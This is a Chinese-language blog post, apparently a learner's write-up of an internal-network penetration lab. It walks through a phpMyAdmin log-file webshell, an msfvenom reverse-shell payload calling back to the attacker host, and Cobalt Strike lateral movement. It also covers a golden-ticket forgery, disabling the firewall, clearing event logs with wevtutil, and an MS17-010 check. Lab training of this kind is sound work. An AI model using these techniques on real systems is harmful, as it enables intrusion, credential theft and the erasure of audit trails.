在学习内网的过程中有着诸多不了解的内容。希望能借下面的靶场来步入内网的大门。
一、准备阶段
首先准备好我们的虚拟机
之前有学过关于:工作组、域、DC的概念。
了解一下此时的网络拓扑图
1.设置网络VMnet1和Vmnet8
将VMnet1作为内网,VMnet8作为外网。其中,VMnet1的子网地址必须是 192.168.52.0。否则后面win7的web服务无法开启。
2.设置win7 web服务器
从网络拓扑图可知,需要模拟内网和外网两个网段,win7虚拟机相当于网关服务器,需要两张网卡。比如:网卡1连接内网:192.168..... 网卡2连接外网 10.0.....
接下来ping一下,看一下内网和外网是否成功设置好了
首先ping一下主机,能ping通就说明连上了外网。
再ping一下DC域控,说明成功连上了内网
3.配置域内主机
将win2003 和 win2008 都设置为自定义的Vmnet1
各个虚拟机的IP地址如下:
win2003 192.168.52.141
win7 内网网卡:192.168.52.143 外网网卡: 192.158.57.134
win2008: 192.168.52.138
4.开启win7上的web服务
输入win7的外网ip地址
二、外网探测
采用kali作为攻击机
已知此时win7的外网ip地址为 : 192.168.57.134
1.端口扫描
┌──(root㉿kali)-[~]
└─# nmap -sV -p- 192.168.57.134
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-10 20:10 CST
Nmap scan report for 192.168.57.134
Host is up (0.0015s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
成功发现80端口。可以先访问一下网页
2.网页探测
直接扫一下目录
成功发现后台
搜索弱口令
那就猜用户名为root,接下来可以进行密码爆破或者继续试。这里的密码是root
3.getshell
成功进来,现在的思路可以是:写入木马来getshell。在之前的学习中,登录了phpmyadmin之后是很容易getshell的。这里我再回想一下,是通过日志写入的方式
尝试开启 general_log ,并修改这里的日志文件路径,让我们可以直接访问到
set global general_log="on";
set global general_log_file="C:/phpstudy/WWW/shell.php";
成功改好,此时向日志中写入一句话木马
这个时候如果我们访问日志文件就能够成功触发,先访问日志文件,再开启蚁剑
成功进入!
以前的学的渗透测试只能支持我做到这一步,下面的知识才是真正需要我摸索学习。
三、内网渗透
1.上线win7
cs上线方法
这里尝试用CobaltStrike来继续(然后也会尝试一下msf),顺带一起复习一下之前学过的内容
首先在kali上运行服务端,再到windows上运行客户端
先搞个监听器,然后点击
可以得到执行文件
将其上传到蚁剑当中
然后执行木马:
就可以成功上线了。
msf上线方法
下面是使用msf上线的方式:
使用msfvenom 生成可执行程序
┌──(root㉿kali)-[~/msf]
└─# msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.57.128 LPORT=5555 -f exe -o shell.exe
将得到的shell.exe 上传到蚁剑中
然后开启msfconsole,使用
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set Lhost 0.0.0.0
run
等到run开始之后,再到蚁剑中运行文件,就能成功上线了
2.权限提升
右键我们上线的机器,点击权限提升
等待一会儿之后就发现权限成功提升了!至于权限提升是怎样实现的,这里先不过多了解(后续的学习任务中会学习到!)
3.内网信息收集
在这步之前可以先关闭一下win7的防火墙,防止后面出错
beacon> shell netsh advfirewall set allprofiles state off
1.判断是否存在域
[03/13 19:00:57] beacon> shell ipconfig /all
[03/13 19:00:57] [*] Tasked beacon to run: ipconfig /all
[03/13 19:01:44] [+] host called home, sent: 44 bytes
[03/13 19:01:44] [+] received output:
Windows IP 配置
主机名 . . . . . . . . . . . . . : stu1
主 DNS 后缀 . . . . . . . . . . . : god.org
节点类型 . . . . . . . . . . . . : 混合
IP 路由已启用 . . . . . . . . . . : 否
WINS 代理已启用 . . . . . . . . . : 否
DNS 后缀搜索列表 . . . . . . . . : god.org
localdomain
发现该win7是在 god.org下
2.查看存在多少个域
[03/13 19:02:41] beacon> shell net view /domain
[03/13 19:02:41] [*] Tasked beacon to run: net view /domain
[03/13 19:02:44] [+] host called home, sent: 47 bytes
[03/13 19:02:46] [+] received output:
Domain
-------------------------------------------------------------------------------
GOD
命令成功完成。
发现只有一个域,为 GOD
3.查看域内所有主机
[03/13 19:03:32] beacon> shell net view
[03/13 19:03:32] [*] Tasked beacon to run: net view
[03/13 19:03:46] [+] host called home, sent: 39 bytes
[03/13 19:03:47] [+] received output:
服务器名称 注解
-------------------------------------------------------------------------------
\\OWA
\\ROOT-TVI862UBEH
\\STU1
命令成功完成。
发现有: owa root-tvi862ubeh stu1(win7)
4.查看各个主机对应的IP
通过ping的方式可以得到:
[03/13 19:06:29] beacon> shell ping owa.god.org
[03/13 19:06:29] [*] Tasked beacon to run: ping owa.god.org
[03/13 19:06:47] [+] host called home, sent: 47 bytes
[03/13 19:06:50] [+] received output:
正在 Ping owa.god.org [192.168.52.138] 具有 32 字节的数据:
来自 192.168.52.138 的回复: 字节=32 时间=1ms TTL=128
来自 192.168.52.138 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.52.138 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.52.138 的回复: 字节=32 时间=1ms TTL=128
也可以直接运行 net view
[03/13 19:31:05] beacon> net view
[03/13 19:31:05] [*] Tasked beacon to run net view
[03/13 19:31:55] [+] host called home, sent: 105057 bytes
[03/13 19:31:57] [+] received output:
List of hosts:
Server Name IP Address Platform Version Type Comment
----------- ---------- -------- ------- ---- -------
OWA 192.168.52.138 500 6.1 PDC
ROOT-TVI862UBEH 192.168.52.141 500 5.2
STU1
可以得到 owa 对应的IP地址
owa 192.168.52.138
root-tvi862ubeh 192.168.52.141
stu1 192.168.52.143
5.扫描其他主机端口
个人感觉在cs中操作更为简单(其实是msf一开始没成功,一直显示端口处于 filtered 状态,而且还要设置代理转发,这里先尝试cs)
这里只扫描几个常见的端口
[03/13 19:14:33] beacon> portscan 192.168.52.0-192.168.52.255 22,80,135,443,445,3389 arp 1024
[03/13 19:14:33] [*] Tasked beacon to scan ports 22,80,135,443,445,3389 on 192.168.52.0-192.168.52.255
[03/13 19:14:54] [+] host called home, sent: 93797 bytes
[03/13 19:15:55] [+] received output:
(ARP) Target '192.168.52.143' is alive. 00-0C-29-60-B5-7F
(ARP) Target '192.168.52.141' is alive. 00-0C-29-E2-B3-53
(ARP) Target '192.168.52.138' is alive. 00-0C-29-C1-2E-6F
[03/13 19:16:55] [+] received output:
(ARP) Target '192.168.52.254' is alive. 00-50-56-E8-E1-21
192.168.52.143:135
192.168.52.143:80
192.168.52.141:135
192.168.52.138:80
192.168.52.138:135
192.168.52.138:445 (platform: 500 version: 6.1 name: OWA domain: GOD)
192.168.52.141:445 (platform: 500 version: 5.2 name: ROOT-TVI862UBEH domain: GOD)
192.168.52.143:445 (platform: 500 version: 6.1 name: STU1 domain: GOD)
Scanner module is complete
可以发现基本都开了445端口
445端口是TCP/IP协议栈中的标准端口,专门用于SMB的通信。
历史漏洞:永恒之蓝:利用SMBv1/v2的漏洞远程执行代码。
若目标主机在内网中,攻击者可利用其开放的445端口作为跳板,访问同一子网的其他主机
这里还应该看一下其他主机的操作系统版本的,我是尝试使用了 “神龙拉东” 但是貌似没什么反应。以后继续用到的话再来解决。
4.内网横向
已知开放了445端口,尝试创建SMB监听隧道
1.SMB监听隧道的核心原理是利用SMB协议在目标主机上建立隐蔽的通信通道,绕过传统防火墙和入侵检测系统的监控。
2.SMB协议基础:文件共享,域名解析等,默认通过445端口通信
1.创建SMB监听器
2.切换攻击列表
右键
psexec:是用于横向移动的核心工具之一。攻击者可以通过跳板机向目标主机发送命令,目标主机执行后,将结果返回给攻击者。但我认为这并不算上线,毕竟没有进行持久的连接,只是利用两个机器间的一些信任关系进行通信
直接点击Administrator信息就自动补全了,然后下面的sessions也要填
这样就横向成功了! 另外一个机器这里就不展示了。
5.权限维持
1.抓取哈希和明文密码
抓取哈希的权限维持作用:
(1)Pass-the-Hash(PTH攻击)利用用户密码的哈希值(如 NTLM Hash)直接登录系统,绕过密码验证
(2)横向移动与提权
在域控制器中抓取 krbtgt Hash,可伪造任意用户票据来访问整个域
这里直接利用域控owa来抓取就行了
2.黄金票据配置
User :随便一个用户名
Domain:域名
Domain SID:域ID
Krbtgt Hash
这里的 Domain SID可以使用下面的命令来获得
[03/13 21:02:36] beacon> shell whoami /user
[03/13 21:02:36] [*] Tasked beacon to run: whoami /user
[03/13 21:03:17] [+] host called home, sent: 43 bytes
[03/13 21:03:18] [+] received output:
用户信息
----------------
用户名 SID
=================== ========
nt authority\system S-1-5-18
填好之后 build
这样一来,我们就成功通过黄金票据在域内建立了持久化认证,能够以 hacker 身份无密码访问资源。
四、痕迹清除
在域控上可以看到安全日志
现在尝试将日志信息清除
shell wevtutil cl security // 清除安全日志
shell wevtutil cl system // 清理系统日志
shell wevtutil cl application //清理应用程序日志
shell wevtutil cl "windows powershell" // 清理powershell日志
五、一些其他的点
1.使用msf
首先是在我们成功上线win7之后的操作,可能后面还是做不出来,但能了解一些是一些了
1.进程迁移
目的 技术实现 攻击场景 1. 隐蔽恶意活动 注入DLL到合法进程(如 svchost.exe
)绕过杀毒软件的静态/动态检测 2. 横向移动 将恶意进程迁移到其他主机(如 psexec
)扩大攻击范围,访问更多内网资源 3. 持久化控制 注入持久化后门(如 Covenant
)到系统进程实现长期驻留,抵抗重启或杀软清除 4. 绕过安全边界 利用合法协议(如HTTP/SMB)迁移进程 伪装成正常流量,规避防火墙和IDS检测 5. 提升权限 通过高权限进程(如 winlogon.exe
)提权绕过用户权限限制,直接访问敏感系统组件
首先运行 ps ,可以找到下面这个进程
记下PID,执行:
meterpreter > migrate 3708
[*] Migrating from 5428 to 3708...
[*] Migration completed successfully.
就显示进程迁移成功了。信息收集和cs感觉差不多
2.添加路由和socks代理
必须是先添加路由再挂代理,这里根据我们之前的内网信息收集来进行
meterpreter > run autoroute -s 192.168.52.0/24
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 192.168.52.0/255.255.255.0...
[+] Added route to 192.168.52.0/255.255.255.0 via 192.168.57.134
[*] Use the -p option to list all active routes
设置路由,强制内网内的目标主机上的特定流量通过跳板机中转,最终由跳板机将数据传回外网的kali机。
但一开始这里我并没有理解,我后来复盘了一下自己的想法,发现主要有下面两个疑问:
(1)因为我一直认为:kali作为攻击机,既然无法访问到内网,想必都要借助跳板机来访问内网主机,怎么会是: 目标主机 --> 跳板机 --> kali 这样的路由转发顺序呢?
答:就算我是通过 kali-->跳板机-->目标主机 这样的顺序来访问目标主机,由于目标主机的路由表未修改,流量会按照原始路由表路径发送,会导致跳板机无法截获流量。只有设置了这样的路由规则,我们就可以通过跳板机在目标主机上执行指令,然后目标主机会将流量专门发送到跳板机,从而被kali控制。
(2)我拿下的只是跳板机,为什么我可以设置目标主机的路由规则呢?
答:路由表位于目标主机的内存中,攻击者可以通过跳板机向目标主机发送指令,诱使或强制其修改路由表。但如果目标主机强制要求路由规则必须通过本地管理员权限设置的话,就得依靠:漏洞、社会工程学等手段来修改路由了。
为什么设置了路由还需要挂代理?(后面会学习一种只用路由来扫描的方法,但挂代理会更保险一些)
设置路由后的图:
kali -> 跳板机-> 目标主机->跳板机->kali设置代理后的图:
kali ->跳板机:1080(socks代理)->目标主机->跳板机:1080(socks代理)->kali
这样一来代理服务器(跳板机:1080)会修改请求的源IP(kali的IP)为跳板机的公网IP,从而隐藏kali的真实身份
看看配置代理需要用到哪些参数
msf6 auxiliary(server/socks_proxy) > search socks
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/server/socks_proxy . normal No SOCKS Proxy Server
1 auxiliary/server/socks_unc . normal No SOCKS Proxy UNC Path Redirection
2 auxiliary/scanner/http/sockso_traversal 2012-03-14 normal No Sockso Music Host Server 1.5 Directory Traversal
Interact with a module by name or index. For example info 2, use 2 or use auxiliary/scanner/http/sockso_traversal
然后use 0
msf6 auxiliary(server/socks_proxy) > options
Module options (auxiliary/server/socks_proxy):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must
be an address on the local machine or 0.0.0.0 to listen on
all addresses.
SRVPORT 1080 yes The port to listen on
VERSION 5 yes The SOCKS version to use (Accepted: 4a, 5)
When VERSION is 5:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Proxy password for SOCKS5 listener
USERNAME no Proxy username for SOCKS5 listener
Auxiliary action:
Name Description
---- -----------
Proxy Run a SOCKS proxy server
View the full module info with the info, or info -d command.
发现这里有:SRVHOST SRVPORT
SRVHOST 指定代理服务器(socks服务)的监听地址和端口。
如果是 0.0.0.0 的话,表示代理服务器监听跳板机的所有接口,但内网中的其他主机是可以访问该代理服务的。
如果是 127.0.0.1 的话,只有本地机器才能访问到,内网中的其他机器是访问不到的。
这里我们设置127.0.0.1 或者 0.0.0.0 都可以,都能访问到,但是只让这条通道只让 kali 跳板机 访问感觉更好一些
然后run
然后由于要使用kali中的nmap等工具,需要配置 /etc/proxychains4.conf 配置的内容和上面options的内容一样
然后是使用nmap,nmap这里也搞了我很久,我尝试的命令主要有两条
proxychains nmap -sT -Pn -p 445 192.168.52.138 (可以访问)
proxychains nmap -sV -Pn -p 445 192.168.52.138 (无法访问)
(1)-sT 的兼容性更高。代理服务器只需转发原始TCP流量,目标主机无法区分攻击源是kali还是代理服务
(2)-sV 版本检测会发送一系列完整的应用层协议请求(SMB,HTTP等)这样就会触发目标主机的防火墙规则!导致455端口显示在 filtered 状态!
这样就好了
如果配置隧道还是不行的话,这里只进行端口扫描试试?
msf6 auxiliary(server/socks_proxy) > use portscan/tcp
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/portscan/tcp . normal No TCP Port Scanner
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/portscan/tcp
[*] Using auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-m
etasploit.html
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 1000 yes The socket connect timeout in milliseconds
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 445
PORTS => 445
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.52.138
RHOSTS => 192.168.52.138
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 192.168.52.138: - 192.168.52.138:445 - TCP OPEN
[*] 192.168.52.138: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
同样也可以发现445端口是打开的
3.进行ms17-010攻击
先来扫描一下,看看能不能进行ms17-010攻击
msf6 auxiliary(scanner/portscan/tcp) > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > options
Module options (auxiliary/scanner/smb/smb_ms17_010):
Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_ARCH true no Check for architecture on vulnerable hosts
CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false no Check for named pipe on vulnerable hosts
NAMED_PIPES /usr/share/metasploit-framework/data/ yes List of named pipes to check
wordlists/named_pipes.txt
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-met
asploit/basics/using-metasploit.html
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads (max one per host)
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.52.138
RHOSTS => 192.168.52.138
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.52.138:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.52.138:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
显示漏洞应该是存在的,但不知道能不能成功,结果是没有成功。。。
后面发现还是需要 msf 和 cs一起使用才更有效果一些,那msf板块就先到这了。
六、总结
首先,如果有不正确的地方,感谢大家指正!
学校的课程也刚开始学习计网,本人对于以下几点还是需要学习:
(1)进程注入的原理
(2)如何实现横向
(3)路由与代理
由于这篇拖太久了,中途遇到了很多问题,导致整篇下来思路有些乱糟糟的,相信之后熟悉了内网渗透了之后会好很多。对于cs和msf工具的使用还得继续学习,多发现一些自己不懂的问题